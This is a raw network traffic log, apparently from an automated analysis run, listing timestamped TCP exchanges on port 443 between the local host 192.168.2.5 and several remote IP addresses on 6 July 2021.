Jul 6, 2021 14:31:04.577877045 CEST	49782	443	192.168.2.5	142.250.180.206
Jul 6, 2021 14:31:04.577924967 CEST	49783	443	192.168.2.5	142.250.180.206
Jul 6, 2021 14:31:04.581494093 CEST	49789	443	192.168.2.5	142.250.180.206
Jul 6, 2021 14:31:04.582444906 CEST	49790	443	192.168.2.5	142.250.180.206
Jul 6, 2021 14:31:04.645556927 CEST	443	49783	142.250.180.206	192.168.2.5
Jul 6, 2021 14:31:04.645711899 CEST	49783	443	192.168.2.5	142.250.180.206
Jul 6, 2021 14:31:04.645848036 CEST	443	49782	142.250.180.206	192.168.2.5
Jul 6, 2021 14:31:04.645936966 CEST	49782	443	192.168.2.5	142.250.180.206
Jul 6, 2021 14:31:04.649012089 CEST	443	49789	142.250.180.206	192.168.2.5
Jul 6, 2021 14:31:04.649116039 CEST	49789	443	192.168.2.5	142.250.180.206
Jul 6, 2021 14:31:04.651257992 CEST	49789	443	192.168.2.5	142.250.180.206
Jul 6, 2021 14:31:04.653074980 CEST	443	49790	142.250.180.206	192.168.2.5
Jul 6, 2021 14:31:04.654360056 CEST	49790	443	192.168.2.5	142.250.180.206
Jul 6, 2021 14:31:04.654386997 CEST	49790	443	192.168.2.5	142.250.180.206
Jul 6, 2021 14:31:04.689796925 CEST	49783	443	192.168.2.5	142.250.180.206
Jul 6, 2021 14:31:04.689913034 CEST	49782	443	192.168.2.5	142.250.180.206
Jul 6, 2021 14:31:04.718300104 CEST	443	49789	142.250.180.206	192.168.2.5
Jul 6, 2021 14:31:04.724673033 CEST	443	49790	142.250.180.206	192.168.2.5
Jul 6, 2021 14:31:04.739128113 CEST	443	49789	142.250.180.206	192.168.2.5
Jul 6, 2021 14:31:04.739141941 CEST	443	49789	142.250.180.206	192.168.2.5
Jul 6, 2021 14:31:04.739159107 CEST	443	49789	142.250.180.206	192.168.2.5
Jul 6, 2021 14:31:04.739263058 CEST	49789	443	192.168.2.5	142.250.180.206
Jul 6, 2021 14:31:04.745459080 CEST	443	49790	142.250.180.206	192.168.2.5
Jul 6, 2021 14:31:04.745484114 CEST	443	49790	142.250.180.206	192.168.2.5
Jul 6, 2021 14:31:04.745500088 CEST	443	49790	142.250.180.206	192.168.2.5
Jul 6, 2021 14:31:04.745557070 CEST	49790	443	192.168.2.5	142.250.180.206
Jul 6, 2021 14:31:04.745573997 CEST	49790	443	192.168.2.5	142.250.180.206
Jul 6, 2021 14:31:04.756773949 CEST	443	49783	142.250.180.206	192.168.2.5
Jul 6, 2021 14:31:04.758272886 CEST	443	49782	142.250.180.206	192.168.2.5
Jul 6, 2021 14:31:04.765149117 CEST	49790	443	192.168.2.5	142.250.180.206
Jul 6, 2021 14:31:04.768124104 CEST	49790	443	192.168.2.5	142.250.180.206
Jul 6, 2021 14:31:04.768152952 CEST	49790	443	192.168.2.5	142.250.180.206
Jul 6, 2021 14:31:04.777477026 CEST	443	49783	142.250.180.206	192.168.2.5
Jul 6, 2021 14:31:04.777518034 CEST	443	49783	142.250.180.206	192.168.2.5
Jul 6, 2021 14:31:04.777529955 CEST	443	49783	142.250.180.206	192.168.2.5
Jul 6, 2021 14:31:04.777704954 CEST	49783	443	192.168.2.5	142.250.180.206
Jul 6, 2021 14:31:04.777792931 CEST	443	49782	142.250.180.206	192.168.2.5
Jul 6, 2021 14:31:04.777841091 CEST	443	49782	142.250.180.206	192.168.2.5
Jul 6, 2021 14:31:04.777858973 CEST	443	49782	142.250.180.206	192.168.2.5
Jul 6, 2021 14:31:04.777973890 CEST	49782	443	192.168.2.5	142.250.180.206
Jul 6, 2021 14:31:04.780313015 CEST	49789	443	192.168.2.5	142.250.180.206
Jul 6, 2021 14:31:04.787214041 CEST	49782	443	192.168.2.5	142.250.180.206
Jul 6, 2021 14:31:04.788640022 CEST	49783	443	192.168.2.5	142.250.180.206
Jul 6, 2021 14:31:04.788913012 CEST	49782	443	192.168.2.5	142.250.180.206
Jul 6, 2021 14:31:04.788933992 CEST	49782	443	192.168.2.5	142.250.180.206
Jul 6, 2021 14:31:04.789488077 CEST	49783	443	192.168.2.5	142.250.180.206
Jul 6, 2021 14:31:04.821705103 CEST	49789	443	192.168.2.5	142.250.180.206
Jul 6, 2021 14:31:04.835689068 CEST	443	49790	142.250.180.206	192.168.2.5
Jul 6, 2021 14:31:04.835721970 CEST	443	49790	142.250.180.206	192.168.2.5
Jul 6, 2021 14:31:04.835738897 CEST	443	49790	142.250.180.206	192.168.2.5
Jul 6, 2021 14:31:04.835846901 CEST	49790	443	192.168.2.5	142.250.180.206
Jul 6, 2021 14:31:04.837279081 CEST	49790	443	192.168.2.5	142.250.180.206
Jul 6, 2021 14:31:04.838572979 CEST	443	49790	142.250.180.206	192.168.2.5
Jul 6, 2021 14:31:04.838901043 CEST	49790	443	192.168.2.5	142.250.180.206
Jul 6, 2021 14:31:04.847353935 CEST	443	49789	142.250.180.206	192.168.2.5
Jul 6, 2021 14:31:04.847388029 CEST	443	49789	142.250.180.206	192.168.2.5
Jul 6, 2021 14:31:04.847543955 CEST	49789	443	192.168.2.5	142.250.180.206
Jul 6, 2021 14:31:04.849889040 CEST	49789	443	192.168.2.5	142.250.180.206
Jul 6, 2021 14:31:04.850517988 CEST	443	49782	142.250.180.206	192.168.2.5
Jul 6, 2021 14:31:04.854919910 CEST	443	49782	142.250.180.206	192.168.2.5
Jul 6, 2021 14:31:04.854950905 CEST	443	49782	142.250.180.206	192.168.2.5
Jul 6, 2021 14:31:04.855070114 CEST	49782	443	192.168.2.5	142.250.180.206
Jul 6, 2021 14:31:04.855851889 CEST	443	49783	142.250.180.206	192.168.2.5
Jul 6, 2021 14:31:04.855879068 CEST	443	49783	142.250.180.206	192.168.2.5
Jul 6, 2021 14:31:04.856005907 CEST	49783	443	192.168.2.5	142.250.180.206
Jul 6, 2021 14:31:04.856151104 CEST	443	49782	142.250.180.206	192.168.2.5
Jul 6, 2021 14:31:04.856259108 CEST	49782	443	192.168.2.5	142.250.180.206
Jul 6, 2021 14:31:04.856396914 CEST	443	49783	142.250.180.206	192.168.2.5
Jul 6, 2021 14:31:04.856476068 CEST	49783	443	192.168.2.5	142.250.180.206
Jul 6, 2021 14:31:04.863755941 CEST	49782	443	192.168.2.5	142.250.180.206
Jul 6, 2021 14:31:04.864017010 CEST	49783	443	192.168.2.5	142.250.180.206
Jul 6, 2021 14:31:04.866427898 CEST	443	49790	142.250.180.206	192.168.2.5
Jul 6, 2021 14:31:04.866460085 CEST	443	49790	142.250.180.206	192.168.2.5
Jul 6, 2021 14:31:04.866485119 CEST	443	49790	142.250.180.206	192.168.2.5
Jul 6, 2021 14:31:04.866509914 CEST	443	49790	142.250.180.206	192.168.2.5
Jul 6, 2021 14:31:04.866605997 CEST	49790	443	192.168.2.5	142.250.180.206
Jul 6, 2021 14:31:04.866621017 CEST	49790	443	192.168.2.5	142.250.180.206
Jul 6, 2021 14:31:04.871560097 CEST	443	49790	142.250.180.206	192.168.2.5
Jul 6, 2021 14:31:04.871597052 CEST	443	49790	142.250.180.206	192.168.2.5
Jul 6, 2021 14:31:04.871685028 CEST	49790	443	192.168.2.5	142.250.180.206
Jul 6, 2021 14:31:04.876478910 CEST	443	49790	142.250.180.206	192.168.2.5
Jul 6, 2021 14:31:04.876517057 CEST	443	49790	142.250.180.206	192.168.2.5
Jul 6, 2021 14:31:04.876631975 CEST	49790	443	192.168.2.5	142.250.180.206
Jul 6, 2021 14:31:04.876744032 CEST	49790	443	192.168.2.5	142.250.180.206
Jul 6, 2021 14:31:04.881488085 CEST	443	49790	142.250.180.206	192.168.2.5
Jul 6, 2021 14:31:04.881525040 CEST	443	49790	142.250.180.206	192.168.2.5
Jul 6, 2021 14:31:04.881635904 CEST	49790	443	192.168.2.5	142.250.180.206
Jul 6, 2021 14:31:04.881668091 CEST	49790	443	192.168.2.5	142.250.180.206
Jul 6, 2021 14:31:04.882282019 CEST	443	49782	142.250.180.206	192.168.2.5
Jul 6, 2021 14:31:04.882317066 CEST	443	49782	142.250.180.206	192.168.2.5
Jul 6, 2021 14:31:04.882369041 CEST	443	49782	142.250.180.206	192.168.2.5
Jul 6, 2021 14:31:04.882390976 CEST	443	49782	142.250.180.206	192.168.2.5
Jul 6, 2021 14:31:04.882426977 CEST	49782	443	192.168.2.5	142.250.180.206
Jul 6, 2021 14:31:04.882473946 CEST	49782	443	192.168.2.5	142.250.180.206
Jul 6, 2021 14:31:04.887207985 CEST	443	49782	142.250.180.206	192.168.2.5
Jul 6, 2021 14:31:04.887236118 CEST	443	49782	142.250.180.206	192.168.2.5
Jul 6, 2021 14:31:04.887350082 CEST	49782	443	192.168.2.5	142.250.180.206
Jul 6, 2021 14:31:04.888436079 CEST	443	49789	142.250.180.206	192.168.2.5
Jul 6, 2021 14:31:04.888545990 CEST	49789	443	192.168.2.5	142.250.180.206
Jul 6, 2021 14:31:04.891999960 CEST	443	49782	142.250.180.206	192.168.2.5
Jul 6, 2021 14:31:04.892041922 CEST	443	49782	142.250.180.206	192.168.2.5
Jul 6, 2021 14:31:04.892159939 CEST	49782	443	192.168.2.5	142.250.180.206
Jul 6, 2021 14:31:04.895915985 CEST	443	49790	142.250.180.206	192.168.2.5
Jul 6, 2021 14:31:04.895953894 CEST	443	49790	142.250.180.206	192.168.2.5
Jul 6, 2021 14:31:04.896765947 CEST	443	49782	142.250.180.206	192.168.2.5
Jul 6, 2021 14:31:04.896811962 CEST	443	49782	142.250.180.206	192.168.2.5
Jul 6, 2021 14:31:04.896888018 CEST	49790	443	192.168.2.5	142.250.180.206
Jul 6, 2021 14:31:04.896919966 CEST	49782	443	192.168.2.5	142.250.180.206
Jul 6, 2021 14:31:04.896936893 CEST	49782	443	192.168.2.5	142.250.180.206
Jul 6, 2021 14:31:04.898385048 CEST	443	49790	142.250.180.206	192.168.2.5
Jul 6, 2021 14:31:04.898423910 CEST	443	49790	142.250.180.206	192.168.2.5
Jul 6, 2021 14:31:04.898560047 CEST	49790	443	192.168.2.5	142.250.180.206
Jul 6, 2021 14:31:04.898590088 CEST	49790	443	192.168.2.5	142.250.180.206
Jul 6, 2021 14:31:04.903376102 CEST	443	49790	142.250.180.206	192.168.2.5
Jul 6, 2021 14:31:04.903403044 CEST	443	49790	142.250.180.206	192.168.2.5
Jul 6, 2021 14:31:04.904403925 CEST	49790	443	192.168.2.5	142.250.180.206
Jul 6, 2021 14:31:04.911983967 CEST	443	49782	142.250.180.206	192.168.2.5
Jul 6, 2021 14:31:04.912013054 CEST	443	49782	142.250.180.206	192.168.2.5
Jul 6, 2021 14:31:04.912107944 CEST	49782	443	192.168.2.5	142.250.180.206
Jul 6, 2021 14:31:04.914370060 CEST	443	49782	142.250.180.206	192.168.2.5
Jul 6, 2021 14:31:04.914397955 CEST	443	49782	142.250.180.206	192.168.2.5
Jul 6, 2021 14:31:04.914472103 CEST	49782	443	192.168.2.5	142.250.180.206
Jul 6, 2021 14:31:04.914551020 CEST	49782	443	192.168.2.5	142.250.180.206
Jul 6, 2021 14:31:04.919236898 CEST	443	49782	142.250.180.206	192.168.2.5
Jul 6, 2021 14:31:04.919259071 CEST	443	49782	142.250.180.206	192.168.2.5
Jul 6, 2021 14:31:04.919315100 CEST	49782	443	192.168.2.5	142.250.180.206
Jul 6, 2021 14:31:04.919361115 CEST	49782	443	192.168.2.5	142.250.180.206
Jul 6, 2021 14:31:04.921920061 CEST	443	49789	142.250.180.206	192.168.2.5
Jul 6, 2021 14:31:04.925509930 CEST	443	49782	142.250.180.206	192.168.2.5
Jul 6, 2021 14:31:04.926513910 CEST	443	49790	142.250.180.206	192.168.2.5
Jul 6, 2021 14:31:04.926534891 CEST	443	49790	142.250.180.206	192.168.2.5
Jul 6, 2021 14:31:04.926626921 CEST	49790	443	192.168.2.5	142.250.180.206
Jul 6, 2021 14:31:04.926656008 CEST	49790	443	192.168.2.5	142.250.180.206
Jul 6, 2021 14:31:04.929028034 CEST	443	49790	142.250.180.206	192.168.2.5
Jul 6, 2021 14:31:04.929052114 CEST	443	49790	142.250.180.206	192.168.2.5
Jul 6, 2021 14:31:04.929151058 CEST	49790	443	192.168.2.5	142.250.180.206
Jul 6, 2021 14:31:04.934067965 CEST	443	49790	142.250.180.206	192.168.2.5
Jul 6, 2021 14:31:04.934098005 CEST	443	49790	142.250.180.206	192.168.2.5
Jul 6, 2021 14:31:04.934483051 CEST	49790	443	192.168.2.5	142.250.180.206
Jul 6, 2021 14:31:04.935914040 CEST	443	49783	142.250.180.206	192.168.2.5
Jul 6, 2021 14:31:04.939140081 CEST	443	49790	142.250.180.206	192.168.2.5
Jul 6, 2021 14:31:04.939163923 CEST	443	49790	142.250.180.206	192.168.2.5
Jul 6, 2021 14:31:04.939239979 CEST	49790	443	192.168.2.5	142.250.180.206
Jul 6, 2021 14:31:04.939273119 CEST	49790	443	192.168.2.5	142.250.180.206
Jul 6, 2021 14:31:04.939762115 CEST	443	49782	142.250.180.206	192.168.2.5
Jul 6, 2021 14:31:04.939784050 CEST	443	49782	142.250.180.206	192.168.2.5
Jul 6, 2021 14:31:04.939837933 CEST	49782	443	192.168.2.5	142.250.180.206
Jul 6, 2021 14:31:04.939873934 CEST	49782	443	192.168.2.5	142.250.180.206
Jul 6, 2021 14:31:04.942190886 CEST	443	49782	142.250.180.206	192.168.2.5
Jul 6, 2021 14:31:04.942219019 CEST	443	49782	142.250.180.206	192.168.2.5
Jul 6, 2021 14:31:04.942257881 CEST	49782	443	192.168.2.5	142.250.180.206
Jul 6, 2021 14:31:04.942279100 CEST	49782	443	192.168.2.5	142.250.180.206
Jul 6, 2021 14:31:04.944156885 CEST	443	49790	142.250.180.206	192.168.2.5
Jul 6, 2021 14:31:04.944185019 CEST	443	49790	142.250.180.206	192.168.2.5
Jul 6, 2021 14:31:04.944253922 CEST	49790	443	192.168.2.5	142.250.180.206
Jul 6, 2021 14:31:04.944287062 CEST	49790	443	192.168.2.5	142.250.180.206
Jul 6, 2021 14:31:04.947211981 CEST	443	49782	142.250.180.206	192.168.2.5
Jul 6, 2021 14:31:04.947236061 CEST	443	49782	142.250.180.206	192.168.2.5
Jul 6, 2021 14:31:04.947264910 CEST	49782	443	192.168.2.5	142.250.180.206
Jul 6, 2021 14:31:04.947284937 CEST	49782	443	192.168.2.5	142.250.180.206
Jul 6, 2021 14:31:04.949073076 CEST	443	49790	142.250.180.206	192.168.2.5
Jul 6, 2021 14:31:04.949100971 CEST	443	49790	142.250.180.206	192.168.2.5
Jul 6, 2021 14:31:04.949167013 CEST	49790	443	192.168.2.5	142.250.180.206
Jul 6, 2021 14:31:04.949197054 CEST	49790	443	192.168.2.5	142.250.180.206
Jul 6, 2021 14:31:04.951823950 CEST	443	49782	142.250.180.206	192.168.2.5
Jul 6, 2021 14:31:04.951855898 CEST	443	49782	142.250.180.206	192.168.2.5
Jul 6, 2021 14:31:04.951919079 CEST	49782	443	192.168.2.5	142.250.180.206
Jul 6, 2021 14:31:04.954142094 CEST	443	49790	142.250.180.206	192.168.2.5
Jul 6, 2021 14:31:04.954463005 CEST	49790	443	192.168.2.5	142.250.180.206
Jul 6, 2021 14:31:04.956636906 CEST	443	49782	142.250.180.206	192.168.2.5
Jul 6, 2021 14:31:04.956665039 CEST	443	49782	142.250.180.206	192.168.2.5
Jul 6, 2021 14:31:04.956723928 CEST	49782	443	192.168.2.5	142.250.180.206
Jul 6, 2021 14:31:04.961508036 CEST	443	49782	142.250.180.206	192.168.2.5
Jul 6, 2021 14:31:04.961534977 CEST	443	49782	142.250.180.206	192.168.2.5
Jul 6, 2021 14:31:04.961602926 CEST	49782	443	192.168.2.5	142.250.180.206
Jul 6, 2021 14:31:04.961630106 CEST	49782	443	192.168.2.5	142.250.180.206
Jul 6, 2021 14:31:04.966296911 CEST	443	49782	142.250.180.206	192.168.2.5
Jul 6, 2021 14:31:04.966412067 CEST	49782	443	192.168.2.5	142.250.180.206
Jul 6, 2021 14:31:04.967097998 CEST	49782	443	192.168.2.5	142.250.180.206
Jul 6, 2021 14:31:04.970529079 CEST	49790	443	192.168.2.5	142.250.180.206
Jul 6, 2021 14:31:05.028594971 CEST	443	49782	142.250.180.206	192.168.2.5
Jul 6, 2021 14:31:05.035630941 CEST	443	49790	142.250.180.206	192.168.2.5
Jul 6, 2021 14:31:05.430253029 CEST	49771	443	192.168.2.5	82.165.229.59
Jul 6, 2021 14:31:05.475730896 CEST	443	49771	82.165.229.59	192.168.2.5
Jul 6, 2021 14:31:05.497076988 CEST	443	49771	82.165.229.59	192.168.2.5
Jul 6, 2021 14:31:05.498927116 CEST	49771	443	192.168.2.5	82.165.229.59
Jul 6, 2021 14:31:05.499001980 CEST	443	49771	82.165.229.59	192.168.2.5
Jul 6, 2021 14:31:05.499042034 CEST	443	49771	82.165.229.59	192.168.2.5
Jul 6, 2021 14:31:05.499058962 CEST	443	49771	82.165.229.59	192.168.2.5
Jul 6, 2021 14:31:05.499080896 CEST	443	49771	82.165.229.59	192.168.2.5
Jul 6, 2021 14:31:05.499083996 CEST	49771	443	192.168.2.5	82.165.229.59
Jul 6, 2021 14:31:05.499104023 CEST	443	49771	82.165.229.59	192.168.2.5
Jul 6, 2021 14:31:05.499140978 CEST	49771	443	192.168.2.5	82.165.229.59
Jul 6, 2021 14:31:05.499144077 CEST	443	49771	82.165.229.59	192.168.2.5
Jul 6, 2021 14:31:05.499162912 CEST	443	49771	82.165.229.59	192.168.2.5
Jul 6, 2021 14:31:05.499185085 CEST	443	49771	82.165.229.59	192.168.2.5
Jul 6, 2021 14:31:05.499201059 CEST	443	49771	82.165.229.59	192.168.2.5
Jul 6, 2021 14:31:05.499221087 CEST	443	49771	82.165.229.59	192.168.2.5
Jul 6, 2021 14:31:05.499243975 CEST	49771	443	192.168.2.5	82.165.229.59
Jul 6, 2021 14:31:05.499244928 CEST	443	49771	82.165.229.59	192.168.2.5
Jul 6, 2021 14:31:05.499268055 CEST	443	49771	82.165.229.59	192.168.2.5
Jul 6, 2021 14:31:05.499283075 CEST	443	49771	82.165.229.59	192.168.2.5
Jul 6, 2021 14:31:05.499301910 CEST	443	49771	82.165.229.59	192.168.2.5
Jul 6, 2021 14:31:05.499325991 CEST	443	49771	82.165.229.59	192.168.2.5
Jul 6, 2021 14:31:05.499327898 CEST	49771	443	192.168.2.5	82.165.229.59
Jul 6, 2021 14:31:05.499341965 CEST	443	49771	82.165.229.59	192.168.2.5
Jul 6, 2021 14:31:05.499363899 CEST	443	49771	82.165.229.59	192.168.2.5
Jul 6, 2021 14:31:05.499381065 CEST	443	49771	82.165.229.59	192.168.2.5
Jul 6, 2021 14:31:05.499387980 CEST	49771	443	192.168.2.5	82.165.229.59
Jul 6, 2021 14:31:05.499401093 CEST	443	49771	82.165.229.59	192.168.2.5
Jul 6, 2021 14:31:05.499411106 CEST	49771	443	192.168.2.5	82.165.229.59
Jul 6, 2021 14:31:05.499484062 CEST	49771	443	192.168.2.5	82.165.229.59
Jul 6, 2021 14:31:05.519536018 CEST	49769	443	192.168.2.5	82.165.229.59
Jul 6, 2021 14:31:05.563805103 CEST	443	49769	82.165.229.59	192.168.2.5
Jul 6, 2021 14:31:05.596324921 CEST	443	49769	82.165.229.59	192.168.2.5
Jul 6, 2021 14:31:05.596344948 CEST	443	49769	82.165.229.59	192.168.2.5
Jul 6, 2021 14:31:05.596364975 CEST	443	49769	82.165.229.59	192.168.2.5
Jul 6, 2021 14:31:05.596378088 CEST	443	49769	82.165.229.59	192.168.2.5
Jul 6, 2021 14:31:05.596400023 CEST	443	49769	82.165.229.59	192.168.2.5
Jul 6, 2021 14:31:05.596415997 CEST	443	49769	82.165.229.59	192.168.2.5
Jul 6, 2021 14:31:05.596436977 CEST	443	49769	82.165.229.59	192.168.2.5
Jul 6, 2021 14:31:05.596456051 CEST	443	49769	82.165.229.59	192.168.2.5
Jul 6, 2021 14:31:05.596474886 CEST	443	49769	82.165.229.59	192.168.2.5
Jul 6, 2021 14:31:05.596487999 CEST	443	49769	82.165.229.59	192.168.2.5
Jul 6, 2021 14:31:05.596502066 CEST	443	49769	82.165.229.59	192.168.2.5
Jul 6, 2021 14:31:05.596517086 CEST	49769	443	192.168.2.5	82.165.229.59
Jul 6, 2021 14:31:05.596522093 CEST	443	49769	82.165.229.59	192.168.2.5
Jul 6, 2021 14:31:05.596543074 CEST	443	49769	82.165.229.59	192.168.2.5
Jul 6, 2021 14:31:05.596555948 CEST	443	49769	82.165.229.59	192.168.2.5
Jul 6, 2021 14:31:05.596565008 CEST	49769	443	192.168.2.5	82.165.229.59
Jul 6, 2021 14:31:05.596575975 CEST	443	49769	82.165.229.59	192.168.2.5
Jul 6, 2021 14:31:05.596592903 CEST	443	49769	82.165.229.59	192.168.2.5
Jul 6, 2021 14:31:05.596600056 CEST	49769	443	192.168.2.5	82.165.229.59
Jul 6, 2021 14:31:05.596609116 CEST	443	49769	82.165.229.59	192.168.2.5
Jul 6, 2021 14:31:05.596631050 CEST	443	49769	82.165.229.59	192.168.2.5
Jul 6, 2021 14:31:05.596638918 CEST	49769	443	192.168.2.5	82.165.229.59
Jul 6, 2021 14:31:05.596647024 CEST	443	49769	82.165.229.59	192.168.2.5
Jul 6, 2021 14:31:05.596667051 CEST	443	49769	82.165.229.59	192.168.2.5
Jul 6, 2021 14:31:05.596684933 CEST	443	49769	82.165.229.59	192.168.2.5
Jul 6, 2021 14:31:05.596692085 CEST	49769	443	192.168.2.5	82.165.229.59
Jul 6, 2021 14:31:05.596702099 CEST	443	49769	82.165.229.59	192.168.2.5
Jul 6, 2021 14:31:05.596724987 CEST	49769	443	192.168.2.5	82.165.229.59
Jul 6, 2021 14:31:05.596770048 CEST	49769	443	192.168.2.5	82.165.229.59
Jul 6, 2021 14:31:05.756695032 CEST	49769	443	192.168.2.5	82.165.229.59
Jul 6, 2021 14:31:05.801105976 CEST	443	49769	82.165.229.59	192.168.2.5
Jul 6, 2021 14:31:05.849483967 CEST	49771	443	192.168.2.5	82.165.229.59
Jul 6, 2021 14:31:05.893239021 CEST	49795	443	192.168.2.5	82.165.229.16
Jul 6, 2021 14:31:05.893301010 CEST	49796	443	192.168.2.5	82.165.229.16
Jul 6, 2021 14:31:05.894579887 CEST	443	49771	82.165.229.59	192.168.2.5
Jul 6, 2021 14:31:05.903948069 CEST	49797	443	192.168.2.5	82.165.229.54
Jul 6, 2021 14:31:05.905230999 CEST	49798	443	192.168.2.5	82.165.229.54
Jul 6, 2021 14:31:05.922036886 CEST	443	49771	82.165.229.59	192.168.2.5
Jul 6, 2021 14:31:05.922066927 CEST	443	49771	82.165.229.59	192.168.2.5
Jul 6, 2021 14:31:05.922080040 CEST	443	49771	82.165.229.59	192.168.2.5
Jul 6, 2021 14:31:05.922091961 CEST	443	49771	82.165.229.59	192.168.2.5
Jul 6, 2021 14:31:05.922106028 CEST	443	49771	82.165.229.59	192.168.2.5
Jul 6, 2021 14:31:05.922122002 CEST	443	49771	82.165.229.59	192.168.2.5
Jul 6, 2021 14:31:05.922136068 CEST	443	49771	82.165.229.59	192.168.2.5
Jul 6, 2021 14:31:05.922154903 CEST	443	49771	82.165.229.59	192.168.2.5
Jul 6, 2021 14:31:05.922172070 CEST	443	49771	82.165.229.59	192.168.2.5
Jul 6, 2021 14:31:05.922209024 CEST	49771	443	192.168.2.5	82.165.229.59
Jul 6, 2021 14:31:05.922266960 CEST	49771	443	192.168.2.5	82.165.229.59
Jul 6, 2021 14:31:05.922300100 CEST	443	49771	82.165.229.59	192.168.2.5
Jul 6, 2021 14:31:05.922318935 CEST	443	49771	82.165.229.59	192.168.2.5
Jul 6, 2021 14:31:05.922336102 CEST	443	49771	82.165.229.59	192.168.2.5
Jul 6, 2021 14:31:05.922346115 CEST	49771	443	192.168.2.5	82.165.229.59
Jul 6, 2021 14:31:05.922348976 CEST	443	49771	82.165.229.59	192.168.2.5
Jul 6, 2021 14:31:05.922369003 CEST	443	49771	82.165.229.59	192.168.2.5
Jul 6, 2021 14:31:05.922386885 CEST	443	49771	82.165.229.59	192.168.2.5
Jul 6, 2021 14:31:05.922400951 CEST	49771	443	192.168.2.5	82.165.229.59
Jul 6, 2021 14:31:05.922400951 CEST	443	49771	82.165.229.59	192.168.2.5
Jul 6, 2021 14:31:05.922414064 CEST	443	49771	82.165.229.59	192.168.2.5
Jul 6, 2021 14:31:05.922420979 CEST	49771	443	192.168.2.5	82.165.229.59
Jul 6, 2021 14:31:05.922426939 CEST	443	49771	82.165.229.59	192.168.2.5
Jul 6, 2021 14:31:05.922492027 CEST	49771	443	192.168.2.5	82.165.229.59
Jul 6, 2021 14:31:05.937618971 CEST	443	49795	82.165.229.16	192.168.2.5
Jul 6, 2021 14:31:05.937644005 CEST	443	49796	82.165.229.16	192.168.2.5
Jul 6, 2021 14:31:05.937771082 CEST	49795	443	192.168.2.5	82.165.229.16
Jul 6, 2021 14:31:05.937843084 CEST	49796	443	192.168.2.5	82.165.229.16
Jul 6, 2021 14:31:05.940788984 CEST	49795	443	192.168.2.5	82.165.229.16
Jul 6, 2021 14:31:05.941776991 CEST	49769	443	192.168.2.5	82.165.229.59
Jul 6, 2021 14:31:05.946185112 CEST	443	49797	82.165.229.54	192.168.2.5
Jul 6, 2021 14:31:05.946290016 CEST	49797	443	192.168.2.5	82.165.229.54
Jul 6, 2021 14:31:05.947455883 CEST	443	49798	82.165.229.54	192.168.2.5
Jul 6, 2021 14:31:05.947556973 CEST	49798	443	192.168.2.5	82.165.229.54
Jul 6, 2021 14:31:05.947963953 CEST	49797	443	192.168.2.5	82.165.229.54
Jul 6, 2021 14:31:05.955476999 CEST	49799	443	192.168.2.5	82.165.229.54
Jul 6, 2021 14:31:05.956062078 CEST	49800	443	192.168.2.5	82.165.229.54
Jul 6, 2021 14:31:05.957079887 CEST	49796	443	192.168.2.5	82.165.229.16
Jul 6, 2021 14:31:05.985215902 CEST	443	49795	82.165.229.16	192.168.2.5
Jul 6, 2021 14:31:05.985855103 CEST	443	49769	82.165.229.59	192.168.2.5
Jul 6, 2021 14:31:05.985884905 CEST	443	49795	82.165.229.16	192.168.2.5
Jul 6, 2021 14:31:05.985903978 CEST	443	49795	82.165.229.16	192.168.2.5
Jul 6, 2021 14:31:05.985918999 CEST	443	49795	82.165.229.16	192.168.2.5
Jul 6, 2021 14:31:05.986001015 CEST	49795	443	192.168.2.5	82.165.229.16
Jul 6, 2021 14:31:05.986269951 CEST	49771	443	192.168.2.5	82.165.229.59
Jul 6, 2021 14:31:05.990200043 CEST	443	49797	82.165.229.54	192.168.2.5
Jul 6, 2021 14:31:05.991559982 CEST	443	49797	82.165.229.54	192.168.2.5
Jul 6, 2021 14:31:05.991586924 CEST	443	49797	82.165.229.54	192.168.2.5
Jul 6, 2021 14:31:05.991597891 CEST	443	49797	82.165.229.54	192.168.2.5
Jul 6, 2021 14:31:05.991672993 CEST	49797	443	192.168.2.5	82.165.229.54
Jul 6, 2021 14:31:05.991734028 CEST	49797	443	192.168.2.5	82.165.229.54
Jul 6, 2021 14:31:05.997889042 CEST	443	49799	82.165.229.54	192.168.2.5
Jul 6, 2021 14:31:05.998028994 CEST	49799	443	192.168.2.5	82.165.229.54
Jul 6, 2021 14:31:05.998270035 CEST	443	49800	82.165.229.54	192.168.2.5
Jul 6, 2021 14:31:05.998341084 CEST	49800	443	192.168.2.5	82.165.229.54
Jul 6, 2021 14:31:06.001667976 CEST	443	49796	82.165.229.16	192.168.2.5
Jul 6, 2021 14:31:06.002435923 CEST	443	49796	82.165.229.16	192.168.2.5
Jul 6, 2021 14:31:06.002465010 CEST	443	49796	82.165.229.16	192.168.2.5
Jul 6, 2021 14:31:06.002479076 CEST	443	49796	82.165.229.16	192.168.2.5
Jul 6, 2021 14:31:06.002536058 CEST	49796	443	192.168.2.5	82.165.229.16
Jul 6, 2021 14:31:06.002557993 CEST	49796	443	192.168.2.5	82.165.229.16
Jul 6, 2021 14:31:06.007733107 CEST	443	49769	82.165.229.59	192.168.2.5
Jul 6, 2021 14:31:06.007766962 CEST	443	49769	82.165.229.59	192.168.2.5
Jul 6, 2021 14:31:06.007780075 CEST	443	49769	82.165.229.59	192.168.2.5
Jul 6, 2021 14:31:06.007796049 CEST	443	49769	82.165.229.59	192.168.2.5
Jul 6, 2021 14:31:06.007808924 CEST	443	49769	82.165.229.59	192.168.2.5
Jul 6, 2021 14:31:06.007822990 CEST	443	49769	82.165.229.59	192.168.2.5
Jul 6, 2021 14:31:06.007834911 CEST	443	49769	82.165.229.59	192.168.2.5
Jul 6, 2021 14:31:06.007849932 CEST	443	49769	82.165.229.59	192.168.2.5
Jul 6, 2021 14:31:06.007867098 CEST	443	49769	82.165.229.59	192.168.2.5
Jul 6, 2021 14:31:06.007874012 CEST	443	49769	82.165.229.59	192.168.2.5
Jul 6, 2021 14:31:06.007879019 CEST	49769	443	192.168.2.5	82.165.229.59
Jul 6, 2021 14:31:06.007886887 CEST	443	49769	82.165.229.59	192.168.2.5
Jul 6, 2021 14:31:06.007900953 CEST	443	49769	82.165.229.59	192.168.2.5
Jul 6, 2021 14:31:06.007914066 CEST	443	49769	82.165.229.59	192.168.2.5
Jul 6, 2021 14:31:06.007941961 CEST	443	49769	82.165.229.59	192.168.2.5
Jul 6, 2021 14:31:06.007967949 CEST	443	49769	82.165.229.59	192.168.2.5
Jul 6, 2021 14:31:06.008007050 CEST	49769	443	192.168.2.5	82.165.229.59
Jul 6, 2021 14:31:06.008014917 CEST	49769	443	192.168.2.5	82.165.229.59
Jul 6, 2021 14:31:06.008018017 CEST	49769	443	192.168.2.5	82.165.229.59
Jul 6, 2021 14:31:06.008023977 CEST	443	49769	82.165.229.59	192.168.2.5
Jul 6, 2021 14:31:06.008038044 CEST	49769	443	192.168.2.5	82.165.229.59
